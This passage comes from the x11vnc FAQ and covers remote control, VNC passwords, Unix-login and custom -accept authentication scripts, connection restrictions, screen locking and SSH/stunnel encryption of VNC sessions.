- viewer process on the central-server) all of the vncviewer screen
- drawing is done more inefficiently over the network. Something to
- consider, especially on a busy network. (BTW, this has all of the
- above permission, etc, problems: both vncviewer and x11vnc are X
- client apps desired to be run on the Xterminal box.)
-
- [Sun Rays]
-
- Q-31: I'm having trouble using x11vnc with my Sun Ray session.
-
- The Sun Ray technology is a bit like "VNC done in hardware" (the Sun
- Ray terminal device, DTU, playing the role of the vncviewer.)
- Completely independent of that, the SunRay user's session is still an
- X server that speaks the X11 protocol and so x11vnc simply talks to
- the X server part to export the SunRay desktop to any place in the
- world (i.e. not only to a Sun Ray terminal device), creating a sort of
- "Soft Ray". Please see this discussion of Sun Ray issues for solutions
- to problems.
-
- Also see the Sun Ray Remote Control Toolkit that uses x11vnc.
-
- [Remote Control]
-
- Q-32: How do I stop x11vnc once it is running in the background?
-
- As of Dec/2004 there is a remote control feature. It can change a huge
- number of parameters on the fly: see the -remote and -query options.
- To shut down the running x11vnc server just type "x11vnc -R stop". To
- disconnect all clients do "x11vnc -R disconnect:all", etc.
-
- If the -forever option has not been supplied, x11vnc will
- automatically exit after the first client disconnects. In general if
- you cannot use the remote control, then you will have to kill the
- x11vnc process This can be done via: "kill NNNNN" (where NNNNN is the
- x11vnc process id number found from ps(1)), or "pkill x11vnc", or
- "killall x11vnc" (Linux only.)
-
- If you have not put x11vnc in the background via the -bg option or
- shell & operator, then simply press Ctrl-C in the shell where x11vnc
- is running to stop it.
-
- Potential Gotcha: If somehow your Keypress of Ctrl-C went through
- x11vnc to the Xserver that then delivered it to x11vnc it is possible
- one or both of the Ctrl or C keys will be left stuck in the pressed
- down state in the Xserver. Tapping the stuck key (either via a new
- x11vnc or at the physical console) will release it from the stuck
- state. If the keyboard seems to be acting strangely it is often fixed
- by tapping Ctrl, Shift, and Alt. Alternatively, the -clear_mods option
- and -clear_keys option can be used to release pressed keys at startup
- and exit. The option -clear_all will also try to unset Caps_Lock,
- Num_Lock, etc.
-
-
- Q-33: Can I change settings in x11vnc without having to restart it?
- Can I remote control it?
-
- Look at the -remote (an alias is -R) and -query (an alias is -Q)
- options added in Dec/2004. They allow nearly everything to be changed
- dynamically and settings to be queried. Examples: "x11vnc -R shared",
- "x11vnc -R forever", "x11vnc -R scale:3/4", "x11vnc -Q modtweak",
- "x11vnc -R stop", "x11vnc -R disconnect:all", etc..
-
- These commands do not start a x11vnc server, but rather communicate
- with one that is already running. The X display (X11VNC_REMOTE
- property) is used as the communication channel, so the X permissions
- and DISPLAY must be set up correctly for communication to be possible.
-
- There is also a simple Tcl/Tk gui based on this remote control
- mechanism. See the -gui option for more info. You will need to have
- Tcl/Tk (i.e. /usr/bin/wish) installed for it to work. It can also run
- in the system tray: "-gui tray" or as a standalone small icon window:
- "-gui icon". Use "-gui tray=setpass" for a naive user "Share My
- Desktop" mode.
-
- [Security and Permissions]
-
- Q-34: How do I create a VNC password for use with x11vnc?
-
- You may already have one in $HOME/.vnc/passwd if you have used, say,
- the vncserver program from the regular RealVNC or TightVNC packages
- (i.e. launching the Xvnc server.) Otherwise, you could use the
- vncpasswd(1) program from those packages.
-
- As of Jun/2004 x11vnc supports the -storepasswd "pass" "file" option,
- which is the same functionality of storepasswd. Be sure to quote the
- "pass" if it contains shell meta characters, spaces, etc. Example:
- x11vnc -storepasswd 'sword*fish' $HOME/myvncpasswd
-
- You then use the password via the x11vnc option: "-rfbauth
- $HOME/myvncpasswd"
-
- As of Jan/2006 if you do not supply any arguments:
- x11vnc -storepasswd
-
- you will be prompted for a password to save to ~/.vnc/passwd (your
- keystrokes when entering the password will not be echoed to the
- screen.) If you supply one argument, e.g. "x11vnc -storepasswd
- ~/.mypass", the password you are prompted for will be stored in that
- file.
-
- x11vnc also has the -passwdfile and -passwd/-viewpasswd plain text
- (i.e. not obscured like the -rfbauth VNC passwords) password options.
-
- You can use the -usepw option to automatically use any password file
- you have in ~/.vnc/passwd or ~/.vnc/passwdfile (the latter is used
- with the -passwdfile option.)
-
- x11vnc -usepw -display :0 ...
-
- If neither file exists you are prompted to store a password in
- ~/.vnc/passwd. If a password file cannot be found or created x11vnc
- exits immediately. An admin may want to set it up this way for users
- who do not know better.
-
-
- Q-35: Can I make it so -storepasswd doesn't show my password on the
- screen?
-
- You can use the vncpasswd program from RealVNC or TightVNC mentioned
- above. As of Jan/2006 the -storepasswd option without any arguments
- will not echo your password as you type it and save the file to
- ~/.vnc/passwd:
- # x11vnc -storepasswd
- Enter VNC password:
- Verify password:
- Write password to /home/myname/.vnc/passwd? [y]/n
- Password written to: /home/myname/.vnc/passwd
-
- You can also give it an alternate filename, e.g. "x11vnc -storepasswd
- ~/.mypass"
-
-
- Q-36: Can I have two passwords for VNC viewers, one for full access
- and the other for view-only access to the display?
-
- Yes, as of May/2004 there is the -viewpasswd option to supply the
- view-only password. Note the full-access password option -passwd must
- be supplied at the same time. E.g.: -passwd sword -viewpasswd fish.
-
- To avoid specifying the passwords on the command line (where they
- could be observed via the ps(1) command by any user) you can use the
- -passwdfile option to specify a file containing plain text passwords.
- Presumably this file is readable only by you, and ideally it is
- located on the machine x11vnc is run on (to avoid being snooped on
- over the network.) The first line of this file is the full-access
- password. If there is a second line in the file and it is non-blank,
- it is taken as the view-only password. (use "__EMPTY__" to supply an
- empty one.)
-
- View-only passwords currently do not work for the -rfbauth password
- option (standard VNC password storing mechanism.) FWIW, note that
- although the output (usually placed in $HOME/.vnc/passwd) by the
- vncpasswd or storepasswd programs (or from x11vnc -storepasswd) looks
- encrypted they are really just obscured to avoid "casual" password
- stealing. It takes almost no skill to figure out how to extract the
- plain text passwords from $HOME/.vnc/passwd since it is very
- straight-forward to work out what to do from the VNC source code.
-
-
- Q-37: Can I have as many full-access and view-only passwords as I
- like?
-
- Yes, as of Jan/2006 in the libvncserver CVS the -passwdfile option has
- been extended to handle as many passwords as you like. You put the
- view-only passwords after a line __BEGIN_VIEWONLY__.
-
- You can also easily annotate and comment out passwords in the file.
- You can have x11vnc re-read the file dynamically when it is modified.
-
-
- Q-38: Does x11vnc support Unix usernames and passwords? Can I further
- limit the set of Unix usernames who can connect to the VNC desktop?
- Update: as of Feb/2006 x11vnc has the -unixpw option that does this
- outside of the VNC protocol and libvncserver. The standard su(1)
- program is used to validate the user's password. A familiar "login:"
- and "Password:" dialog is presented to the user on a black screen
- inside the vncviewer. The connection is dropped if the user fails to
- supply the correct password in 3 tries or does not send one before a
- 25 second timeout. Existing clients are view-only during this period.
- A list of allowed Unix usernames may also be supplied along with
- per-user settings.
-
- There is also the -unixpw_nis option for non-shadow-password
- (typically NIS environments, hence the name) systems where the
- traditional getpwnam() and crypt() functions are used instead of
- su(1). The encrypted user passwords must be accessible to the user
- running x11vnc in -unixpw_nis mode, otherwise the logins will always
- fail even when the correct password is supplied. See ypcat(1) and
- shadow(5).
-
- Two settings are enforced in the -unixpw and -unixpw_nis modes to
- provide extra security: the 1) -localhost and 2) -stunnel or -ssl
- options. Without these one might send the Unix username and password
- data in clear text over the network which is a very bad idea. They can
- be relaxed if you want to provide encryption other than stunnel or
- -ssl (the constraint is automatically relaxed if SSH_CONNECTION is set
- and indicates you have ssh-ed in, however the -localhost requirement
- is still enforced.)
-
- The two -unixpw modes have been tested on Linux, Solaris, Mac OS X,
- HP-UX, AIX, Tru64, FreeBSD, OpenBSD, and NetBSD. Additional testing is
- appreciated. For the last 4 it appears that su(1) will not prompt for
- a password if su-ing to oneself. Since x11vnc requires a password
- prompt from su, x11vnc forces those logins to fail even when the
- correct password is supplied. On *BSD it appears this can be corrected
- by removing the pam_self.so entry in /etc/pam.d/su.
-
-
- Previous older discussion (prior to the -unixpw option):
-
- Until the VNC protocol and libvncserver support this things will be
- approximate at best.
-
- One approximate method involves starting x11vnc with the -localhost
- option. This basically requires the viewer user to log into the
- workstation where x11vnc is running via their Unix username and
- password, and then somehow set up a port redirection of his vncviewer
- connection to make it appear to emanate from the local machine. As
- discussed above, ssh is useful for this: "ssh -L 5900:localhost:5900
- user@hostname ..." See the ssh wrapper scripts mentioned elsewhere on
- this page. stunnel does this as well.
-
- Of course a malicious user could allow other users to get in through
- his channel, but that is a problem with every method. Another thing to
- watch out for is a malicious user on the viewer side (where ssh is
- running) trying to sneak in through the ssh port redirection there.
-
- Regarding limiting the set of Unix usernames who can connect, the
- traditional way would be to further require a VNC password to supplied
- (-rfbauth, -passwd, etc) and only tell the people allowed in what the
- VNC password is. A scheme that avoids a second password involves using
- the -accept option that runs a program to examine the connection
- information to determine which user is connecting from the local
- machine. That may be difficult to do, but, for example, the program
- could use the ident service on the local machine (normally ident
- should not be trusted over the network, but on the local machine it
- should be accurate: otherwise root has been compromised and so there
- are more serious problems! Unfortunately recent Linux distros seem to
- provide a random string (MD5 hash?) instead of the username.) An
- example script passed in via -accept scriptname that deduces the Unix
- username and limits who can be accepted might look something like
- this:
-#!/bin/sh
-if [ "$RFB_CLIENT_IP" != "127.0.0.1" -o "$RFB_SERVER_IP" != "127.0.0.1" ]; then
- exit 1 # something fishy... reject it.
-fi
-user=`echo "$RFB_CLIENT_PORT, $RFB_SERVER_PORT" | nc -w 1 $RFB_CLIENT_IP 113 \
- | grep 'USERID.*UNIX' | head -n 1 | sed -e 's/[\r ]//g' | awk -F: '{pri
-nt $4}'`
-
-for okuser in fred barney wilma betty
-do
- if [ "X$user" = "X$okuser" ]; then
- exit 0 # accept it
- fi
-done
-exit 1 # reject it
-
- For this to work with ssh port redirection, the ssh option
- UsePrivilegeSeparation must be enabled otherwise the userid will
- always be "root".
-
- Here is a similar example based on Linux netstat(1) output:
-#!/bin/sh
-#
-# accept_local_netstat: x11vnc -accept command to accept a local
-# vncviewer connection from acceptable users. Linux netstat -nte is used.
-
-PATH=/bin:/usr/bin:$PATH; export PATH; # set to get system utils
-
-allowed="`id -u fred`"; # add more user numbers if desired.
-
-# check required settings
-ok=1
-if [ "X$allowed" = "X" ]; then
- ok=0; # something wrong with allowed list
-fi
-if [ "X$RFB_CLIENT_IP" != "X127.0.0.1" -o "X$RFB_SERVER_IP" != "X127.0.0.1" ];
-then
- ok=0; # connection not over localhost
-fi
-if [ "$RFB_CLIENT_PORT" -le 0 -o "$RFB_SERVER_PORT" -le 0 ]; then
- ok=0; # something wrong with tcp port numbers
-fi
-if [ "$ok" = 0 ]; then
- echo "$0: invalid setting:" 1>&2
- env | grep ^RFB | sort 1>&2
- exit 1
-fi
-
-# Linux netstat -nte:
-# Proto Recv-Q Send-Q Local Address Foreign Address State
- User Inode
-# 0 0 0 RFB_CLIENT RFB_SERVER ESTABLISHED
- nnnn ....
-#
-user=`netstat -nte | grep ESTABLISHED \
- | grep " $RFB_CLIENT_IP:$RFB_CLIENT_PORT *$RFB_SERVER_IP:$RFB_SERVER_P
-ORT "`
-
-echo "netstat match: $user" 1>&2
-user=`echo "$user" | head -n 1 | sed -e 's/^.*ESTABLISHED/ /' | awk '{print $1}
-'`
-
-ok=0
-for u in $allowed
-do
- if [ "X$user" = "X$u" ]; then
- ok=1
- break
- fi
-done
-
-if [ "X$ok" = "X1" ]; then
- echo "$0: user accepted: '$user'" 1>&2
- exit 0
-else
- echo "$0: user '$user' invalid:" 1>&2
- echo "$0: allowed: $allowed" 1>&2
- env | grep ^RFB | sort 1>&2
- exit 1
-fi
-
-
- Q-39: Can I supply an external program to provide my own custom login
- method (e.g. Dynamic/One-time passwords or non-Unix (LDAP) usernames
- and passwords)?
- Yes, there are several possibilities. For background see the FAQ on
- the -accept where an external program may be run to decide if a VNC
- client should be allowed to try to connect and log in. If the program
- (or local user prompted by a popup) answers "yes", then -accept
- proceeds to the normal VNC and x11vnc authentication methods,
- otherwise the connection is dropped.
-
- To provide more direct coupling to the VNC client's username and/or
- supplied password the following options were added in Sep/2006:
- * -unixpw_cmd command
- * -passwdfile cmd:command
- * -passwdfile custom:command
-
- In each case "command" is an external command run by x11vnc. You
- supply it. For example, it may couple to your LDAP system or other
- servers you set up.
-
- For -unixpw_cmd the normal -unixpw Login: and Password: prompts are
- supplied to the VNC viewer and the strings the client returns are then
- piped into "command" as the first two lines of its standard input. If
- the command returns success, i.e. exit(0), the VNC client is accepted,
- otherwise it is rejected.
-
- For "-passwdfile cmd:command" the command is run and it returns a
- password list (like a password file, see the -passwdfile read:filename
- mode.) Perhaps a dynamic, one-time password is retrieved from a server
- this way.
-
- For "-passwdfile custom:command" one gets complete control over the
- VNC challenge-response dialog with the VNC client. x11vnc sends out a
- string of random bytes (16 by the VNC spec) and the client returns the
- same number of bytes in a way the server can verify only the
- authorized user could have created. The VNC protocol specifies DES
- encryption with a password. If you are willing to modify the VNC
- viewers, you can have it be anything you want, perhaps a less
- crackable MD5 hash scheme or one-time pad. Your program will read from
- its standard input the size of the challenge-response followed by a
- newline, then the challenge bytes followed by the response bytes. If
- your command then returns success, i.e. exit(0), the VNC client is
- accepted, otherwise it is rejected.
-
- In all cases the "RFB_*" environment variables are set as under
- -accept. These variables can provide useful information for the
- externally supplied program to use.
-
-
- Q-40: Why does x11vnc exit as soon as the VNC viewer disconnects? And
- why doesn't it allow more than one VNC viewer to connect at the same
- time?
-
- These defaults are simple safety measures to avoid someone unknowingly
- leaving his X11 desktop exposed (to the internet, say) for long
- periods of time. Use the -forever option (aka -many) to have x11vnc
- wait for more connections after the first client disconnects. Use the
- -shared option to have x11vnc allow multiple clients to connect
- simultaneously.
-
- Recommended additional safety measures include using ssh (see above),
- stunnel, -ssl, or a VPN to authenticate and encrypt the viewer
- connections or to at least use the -rfbauth passwd-file option to use
- VNC password protection (or -passwdfile) It is up to YOU to apply
- these security measures, they will not be done for you automatically.
-
-
- Q-41: Can I limit which machines incoming VNC clients can connect
- from?
-
- Yes, look at the -allow and -localhost options to limit connections by
- hostname or IP address. E.g.
- x11vnc -allow 192.168.0.1,192.168.0.2
-
- for those two hosts or
- x11vnc -allow 192.168.0.
-
- for a subnet. For individual hosts you can use the hostname instead of
- the IP number, e.g.: "-allow snoopy", and "-allow darkstar,wombat".
- Note that -localhost achieves the same thing as "-allow 127.0.0.1"
-
- For more control, build libvncserver with libwrap support
- (tcp_wrappers) and then use /etc/hosts.allow See hosts_access(5) for
- complete details.
-
-
- Q-42: How do I build x11vnc/libvncserver with libwrap (tcp_wrappers)
- support?
-
- Here is one way to pass this information to the configure script:
- env CPPFLAGS=-DUSE_LIBWRAP LDFLAGS=-lwrap ./configure
-
- then run make as usual. This requires libwrap and its development
- package (tcpd.h) to be installed on the build machine. If additional
- CPPFLAGS or LDFLAGS options are needed supply them as well using
- quotes.
-
- The resulting x11vnc then uses libwrap/tcp_wrappers for connections.
- The service name you will use in /etc/hosts.allow and /etc/hosts.deny
- is "vnc", e.g.:
- vnc: 192.168.100.3 .example.com
-
- Note that if you run x11vnc out of inetd you do not need to build
- x11vnc with libwrap support because the /usr/sbin/tcpd reference in
- /etc/inetd.conf handles the tcp_wrappers stuff.
-
-
- Q-43: Can I have x11vnc only listen on one network interface (e.g.
- internal LAN) rather than having it listen on all network interfaces
- and relying on -allow to filter unwanted connections out?
-
- As of Mar/2005 there is the "-listen ipaddr" option that enables this.
- For ipaddr either supply the desired network interface's IP address
- (or use a hostname that resolves to it) or use the string "localhost".
- For additional filtering simultaneously use the "-allow host1,..."
- option to allow only specific hosts in.
-
- This option is useful if you want to insure that no one can even begin
- a dialog with x11vnc from untrusted network interfaces (e.g. ppp0.)
- The option -localhost now implies "-listen localhost" since that is
- what most people expect it to do.
-
-
- Q-44: Now that -localhost implies listening only on the loopback
- interface, how I can occasionally allow in a non-localhost via the -R
- allowonce remote control command?
-
- To do this specify "-allow localhost". Unlike -localhost this will
- leave x11vnc listening on all interfaces (but of course only allowing
- in local connections, e.g. ssh redirs.) Then you can later run "x11vnc
- -R allowonce:somehost" or use to gui to permit a one-shot connection
- from a remote host.
-
-
- Q-45: Can I fine tune what types of user input are allowed? E.g. have
- some users just be able to move the mouse, but not click or type
- anything?
-
- As of Feb/2005, the -input option allows you to do this. "K", "M",
- "B", "C", and "F" stand for Keystroke, Mouse-motion, Button-clicks,
- Clipboard, and File-Transfer, respectively. The setting: "-input M"
- makes attached viewers only able to move the mouse. "-input KMBC,M"
- lets normal clients do everything and enables view-only clients to
- move the mouse.
-
- These settings can also be applied on a per-viewer basis via the
- remote control mechanism or the GUI. E.g. x11vnc -R input:hostname:M
-
-
- Q-46: Can I prompt the user at the local X display whether the
- incoming VNC client should be accepted or not? Can I decide to make
- some clients view-only? How about running an arbitrary program to make
- the decisions?
-
- Yes, look at the "-accept command" option, it allows you to specify an
- external command that is run for each new client. (use quotes around
- the command if it contains spaces, etc.) If the external command
- returns 0 (success) the client is accepted, otherwise with any other
- return code the client is rejected. See below how to also accept
- clients view-only.
-
- The external command will have the RFB_CLIENT_IP environment variable
- set to the client's numerical IP address, RFB_CLIENT_PORT its port
- number. Similarly for RFB_SERVER_IP and RFB_SERVER_PORT to allow
- identification of the tcp virtual circuit. DISPLAY will be set to that
- of the X11 display being polled. Also, RFB_X11VNC_PID is set to the
- x11vnc process id (e.g. in case you decided to kill it), RFB_CLIENT_ID
- will be an id number, and RFB_CLIENT_COUNT the number of other clients
- currently connected. RFB_MODE will be "accept".
-
- Built-in Popup Window: As a special case, "-accept popup" will
- instruct x11vnc to create its own simple popup window. To accept the
- client press "y" or click mouse on the "Yes" button. To reject the
- client press "n" or click mouse on the "No" button. To accept the
- client View-only, press "v" or click mouse on the "View" button. If
- the -viewonly option has been supplied, the "View" action will not be
- present: the whole display is view only in that case.
-
- The popup window times out after 120 seconds, to change this behavior
- use "-accept popup:N" where N is the number of seconds (use 0 for no
- timeout.) More tricks: "-accept popupmouse" will only take mouse click
- responses, while "-accept popupkey" will only take keystroke responses
- (popup takes both.) After any of the 3 popup keywords you can supply a
- position of the window: +N+M, (the default is to center the window)
- e.g. -accept popupmouse+10+10.
-
- Also as a special case "-accept xmessage" will run the xmessage(1)
- program to prompt the user whether the client should be accepted or
- not. This requires that you have xmessage installed and available via
- PATH. In case it is not already on your system, the xmessage program
- is available at ftp://ftp.x.org/
- (End of Built-in Popup Window:)
-
- To include view-only decisions for the external commands, prefix the
- command something like this: "yes:0,no:*,view:3 mycommand ..." This
- associates the three actions: yes(accept), no(reject), and
- view(accept-view-only), with the numerical return (i.e. exit()) codes.
- Use "*" instead of a number to set the default action (e.g. in case
- the external command returns an unexpected return code.)
-
- Here is an example -accept script called accept_or_lock. It uses
- xmessage and xlock (replace with your screen lock command, maybe it is
- "xscreensaver-command -lock", or kdesktop_lock, or "dtaction
- LockDisplay".) It will prompt the user at the X display whether to
- accept, reject, or accept view-only the client, but if the prompt
- times out after 60 seconds the screen is locked and the VNC client is
- accepted. This allows the remote access when no one is at the display.
-#!/bin/sh
-#
-# accept_or_lock: prompt user at X display whether to accept an incoming
-# VNC connection. If timeout expires, screen is locked
-# and the VNC viewer is accepted (allows remote access
-# when no one is sitting at the display.)
-#
-# usage: x11vnc ... -forever -accept 'yes:0,no:*,view:4 accept_or_lock'
-#
-xmessage -buttons yes:2,no:3,view-only:4 -center \
- -timeout 60 "x11vnc: accept connection from $RFB_CLIENT_IP?"
-rc=$?
-if [ $rc = 0 ]; then
- xlock & # or "xlock -mode blank" for no animations.
- sleep 5
- exit 0
-elif [ $rc = 2 ]; then
- exit 0
-elif [ $rc = 4 ]; then
- exit 4
-fi
-exit 1
-
- Stefan Radman has written a nice dtksh script dtVncPopup for use in
- CDE environments to do the same sort of thing. Information on how to
- use it is found at the top of the file. He encourages you to provide
- feedback to him to help improve the script.
-
- Note that in all cases x11vnc will block while the external command or
- popup is being run, so attached clients will not receive screen
- updates, etc during this period.
-
- To run a command when a client disconnects, use the "-gone command"
- option. This is for the user's convenience only: the return code of
- the command is not interpreted by x11vnc. The same environment
- variables are set as in "-accept command" (except that RFB_MODE will
- be "gone".)
-
- As of Jan/2006 the "-afteraccept command" option will run the command
- only after the VNC client has been accepted and authenticated. Like
- -gone the return code is not interpreted. RFB_MODE will be
- "afteraccept".)
-
-
- Q-47: I start x11vnc as root because it is launched via inetd(8) or a
- display manager like gdm(1). Can I have x11vnc later switch to a
- different user?
-
- As of Feb/2005 x11vnc has the -users option that allows things like
- this. Please read the documentation on it (also in the x11vnc -help
- output) carefully for features and caveats. It's use can often
- decrease security unless care is taken.
-
- BTW, a nice use of it is "-users +nobody" that switches to the Unix
- user nobody right after connections to the X display are established.
-
- In any event, while running x11vnc as root, remember it comes with no
- warranty ;-).
-
-
- Q-48: I use a screen-lock when I leave my workstation (e.g.
- xscreensaver or xlock.) When I remotely access my workstation desktop
- via x11vnc I can unlock the desktop fine, but I am worried people will
- see my activities on the physical monitor. What can I do to prevent
- this, or at least make it more difficult?
-
- Probably most work environments would respect your privacy if you
- powered off the monitor. Also remember if people have physical access
- to your workstation they basically can do anything they want with it
- (e.g. install a backdoor for later use, etc.)
-
- In any event, as of Jun/2004 there is an experimental utility to make
- it more difficult for nosey people to see your x11vnc activities. The
- source for it is blockdpy.c The idea behind it is simple (but
- obviously not bulletproof): when a VNC client attaches to x11vnc put
- the display monitor in the DPMS "off" state, if the DPMS state ever
- changes immediately start up the screen-lock program. The x11vnc user
- will notice something is happening and think about what to do next
- (while the screen is in a locked state.)
-
- This works (or at least has a chance of working) because if the
- intruder moves the mouse or presses a key on the keyboard, the monitor
- wakes up out of the DPMS off state, and this induces the screen lock
- program to activate as soon as possible. Of course there are cracks in
- this, the eavesdropper could detach your monitor and insert a non-DPMS
- one, and there are race conditions. As mentioned above this is not
- bulletproof. A really robust solution would likely require X server
- and perhaps even video hardware support.
-
- The blockdpy utility is launched by the -accept option and told to
- exit via the -gone option (the vnc client user should obviously
- re-lock the screen before disconnecting!) Instructions can be found in
- the source code for the utility at the above link. Roughly it is
- something like this:
- x11vnc ... -accept "blockdpy -bg -f $HOME/.bdpy" -gone "touch $HOME/.bdpy"
-
- but please read the top of the file.
-
- Update: As of Feb/2007 there is some builtin support for this:
- -forcedpms and -clientdpms however, they are probably less robust than
- the above blockdpy.c scheme, since if the person floods the physical
- machine with mouse or pointer input he can usually see flashes of the
- screen before the monitor is powered off again. See also the -grabkbd,
- -grabptr, and -grabalways options.
-
-
- Q-49: Can I have x11vnc automatically lock the screen when I
- disconnect the VNC viewer?
-
- Yes, a user mentions he uses the -gone option under CDE to run a
- screen lock program:
- x11vnc -display :0 -forever -gone 'dtaction LockDisplay'
-
- Other possibilities are:
- x11vnc -display :0 -forever -gone 'xscreensaver-command -lock'
- x11vnc -display :0 -forever -gone 'kdesktop_lock'
- x11vnc -display :0 -forever -gone 'xlock &'
- x11vnc -display :0 -forever -gone 'xlock -mode blank &'
-
- Here is a scheme using the -afteraccept option (in version 0.8) to
- unlock the screen after the first valid VNC login and to lock the
- screen after the last valid VNC login disconnects:
- x11vnc -display :0 -forever -shared -afteraccept ./myxlocker -gone ./myxlocke
-r
-
- Where the script ./myxlocker is:
-#!/bin/sh
-
-#/usr/bin/env | grep RFB_ | sort # for viewing RFB_* settings.
-
-if [ "X$RFB_MODE" = "Xafteraccept" ]; then
- if [ "X$RFB_STATE" = "XNORMAL" ]; then # require valid login
- if [ "X$RFB_CLIENT_COUNT" = "X1" ]; then
- killall xlock # Linux only.
- fi
- fi
-elif [ "X$RFB_MODE" = "Xgone" ]; then
- if [ "X$RFB_STATE" = "XNORMAL" ]; then # require valid login
- if [ "X$RFB_CLIENT_COUNT" = "X0" ]; then
- xlock -mode blank &
- fi
- fi
-fi
-
- Note the xlock option "-mode blank" to avoid animations.
-
- There is a problem if you have x11vnc running this way in -forever
- mode and you hit Ctrl-C to stop it. The xlock (or other program) will
- get killed too. To work around this make a little script called
- setpgrp that looks like:
-#!/usr/bin/perl
-setpgrp(0, 0);
-exec @ARGV;
-
- then use -gone "setpgrp xlock &", etc.
- [Encrypted Connections]
-
- Q-50: How can I tunnel my connection to x11vnc via an encrypted SSH
- channel between two Unix machines?
-
- See the description earlier on this page on how to tunnel VNC via SSH
- from Unix to Unix. A number of ways are described along with some
- issues you may encounter.
-
- Other secure encrypted methods exists, e.g. stunnel, IPSEC, various
- VPNs, etc.
-
- See also the Enhanced TightVNC Viewer (SSVNC) page where much of this
- is now automated.
-
-
- Q-51: How can I tunnel my connection to x11vnc via an encrypted SSH
- channel from Windows using an SSH client like Putty?
-
- Above we described how to tunnel VNC via SSH from Unix to Unix, you
- may want to review it. To do this from Windows using Putty it would go
- something like this:
- * In the Putty dialog window under 'Session' enter the hostname or
- IP number of the Unix machine with display to be viewed.
- * Make sure the SSH protocol is selected and the server port is
- correct.
- * Under 'Connections/SSH/Tunnels' Add a Local connection with
- 'Source port: 5900' and 'Destination: localhost:5900'
- * Log into the remote machine by pressing 'Open' and supplying
- username, password, etc.
- * In that SSH shell, start up x11vnc by typing the command: x11vnc
- -display :0 plus any other desired options (e.g. -localhost.)
- * Finally, start up your VNC Viewer in Windows and enter
- 'localhost:0' as the VNC server.
-
- You can keep all of the settings in a Putty 'Saved Session'. Also,
- once everything is working, you can consider putting x11vnc -display
- :0 (plus other cmdline options) in the 'Remote command' Putty setting
- under 'Connections/SSH'.
-
- See also the Enhanced TightVNC Viewer (SSVNC) page where much of this
- is now automated via the Putty plink utility.
-
- For extra protection feel free to run x11vnc with the -localhost and
- -rfbauth/-passwdfile options.
-
- If the machine you SSH into via Putty is not the same machine with the
- X display you wish to view (e.g. your company provides incoming SSH
- access to a gateway machine), then you need to change the above Putty
- dialog setting to: 'Destination: otherhost:5900', Once logged in,
- you'll need to do a second login (ssh or rsh) to the workstation
- machine 'otherhost' and then start up x11vnc on it. This can also be
- automated by Chaining SSH's.
-
- As discussed above another option is to first start the VNC viewer in
- "listen" mode, and then launch x11vnc with the "-connect localhost"
- option to establish the reverse connection. In this case a Remote port
- redirection (not Local) is needed for port 5500 instead of 5900 (i.e.
- 'Source port: 5500' and 'Destination: localhost:5500' for a Remote
- connection.)
-
-
- Q-52: How can I tunnel my connection to x11vnc via an encrypted SSL
- channel using an external tool like stunnel?
-
- It is possible to use a "lighter weight" encryption setup than SSH or
- IPSEC. SSL tunnels such as stunnel (also stunnel.org) provide an
- encrypted channel without the need for Unix users, passwords, and key
- passphrases required for ssh (and at the other extreme SSL can also
- provide a complete signed certificate chain of trust.) On the other
- hand, since SSH is usually installed everywhere and firewalls often
- let its port through, ssh is frequently the path of least resistance
- (it also nicely manages public keys for you.)
-
- Update: As of Feb/2006 x11vnc has the options -ssl, -stunnel, and
- -sslverify to provide integrated SSL schemes. They are discussed in
- the Next FAQ (you probably want to skip to it now.)
-
- We include these non-built-in method descriptions below for historical
- reference. They are handy because can be used to create SSL tunnels to
- any VNC (or other type of) server.
-
-
- Here are some basic examples using stunnel but the general idea for
- any SSL tunnel utility is the same:
- * Start up x11vnc and constrain it to listen on localhost.
- * Then start up the SSL tunnel running on the same machine to
- forward incoming connections to that x11vnc.
- * Set up and run a similar SSL tunnel for the outgoing connection on
- the VNC viewer machine pointing it to the SSL/x11vnc server.
- * Optionally, set up server (or even client) public/private keys for
- use in authenticating one side to the other.
- * Finally, start the VNC Viewer and tell it to connect to the local
- port (e.g. a vnc display localhost:0) where its outgoing SSL
- tunnel is listening.
-
- We'll first use the stunnel version 3 syntax since it is the most
- concise and Unixy.
-
- Start up x11vnc listening on port 5900:
- x11vnc -display :0 -rfbport 5900 -localhost -bg -passwdfile ~/mypass
-
- Then start stunnel (version 3, not 4) with this command:
- stunnel -d 5901 -r 5900 -p /path/to/stunnel.pem
-
- The above two commands are run on host "far-away.east". The
- stunnel.pem is the self-signed PEM file certificate created when
- stunnel is built. One can also create certificates signed by
- Certificate Authorities or self-signed if desired using the x11vnc
- utilities described there.
-
- SSL Viewers: Next, on the VNC viewer side we need an SSL tunnel to
- encrypt the outgoing connection. The nice thing is any SSL tunnel can
- be used because the protocol is a standard. For this example we'll
- also use stunnel on the viewer side on Unix. First start up the
- client-side stunnel (version 3, not 4):
- stunnel -c -d localhost:5902 -r far-away.east:5901
-
- Then point the viewer to the local tunnel on port 5902:
- vncviewer -encodings "copyrect tight zrle hextile" localhost:2
-
- That's it. Note that the ss_vncviewer script can automate this
- easily, and so can the Enhanced TightVNC Viewer (SSVNC) package.
-
- Be sure to use a VNC password because unlike ssh by default the
- encrypted SSL channel provides no authentication (only privacy.) With
- some extra configuration one could also set up certificates to provide
- authentication of either or both sides as well (and hence avoid
- man-in-the-middle attacks.) See the stunnel and openssl documentation
- and also the key management section for details.
-
- stunnel has also been ported to Windows, and there are likely others
- to choose from for that OS. Much info for using it on Windows can be
- found at the stunnel site and in this article The article also shows
- the detailed steps to set up all the authentication certificates. (for
- both server and clients, see also the x11vnc utilities that do this.)
- The default Windows client setup (no certs) is simpler and only 4
- files are needed in a folder: stunnel.exe, stunnel.conf, libssl32.dll,
- libeay32.dll. We used an stunnel.conf containing:
-# stunnel.conf:
-client = yes
-options = ALL
-[myvncssl]
-accept = localhost:5902
-connect = far-away.east:5901
-
- then double click on the stunnel.exe icon to launch it (followed by
- pointing the VNC viewer to localhost:2).
-
-
- stunnel inetd-like mode:
-
- As an aside, if you don't like the little "gap" of unencrypted TCP
- traffic (and a localhost listening socket) on the local machine
- between stunnel and x11vnc it can actually be closed by having stunnel
- start up x11vnc in -inetd mode:
- stunnel -p /path/to/stunnel.pem -P none -d 5900 -l ./x11vnc_sh
-
- Where the script x11vnc_sh starts up x11vnc:
-#!/bin/sh
-x11vnc -q -inetd -display :0 -passwdfile ~/mypass
-
- Note that this creates a separate x11vnc process for each incoming
- connection (as any inetd x11vnc usage would), but for the case of
- normally just one viewer at a time it should not be a big problem.
-
-
- stunnel 4 syntax:
-
- Somewhat sadly, the stunnel version 4 syntax is not so amenable to the
- command line or scripts. You need to create a config file with the
- parameters. E.g.:
- stunnel x11vnc.cfg
-
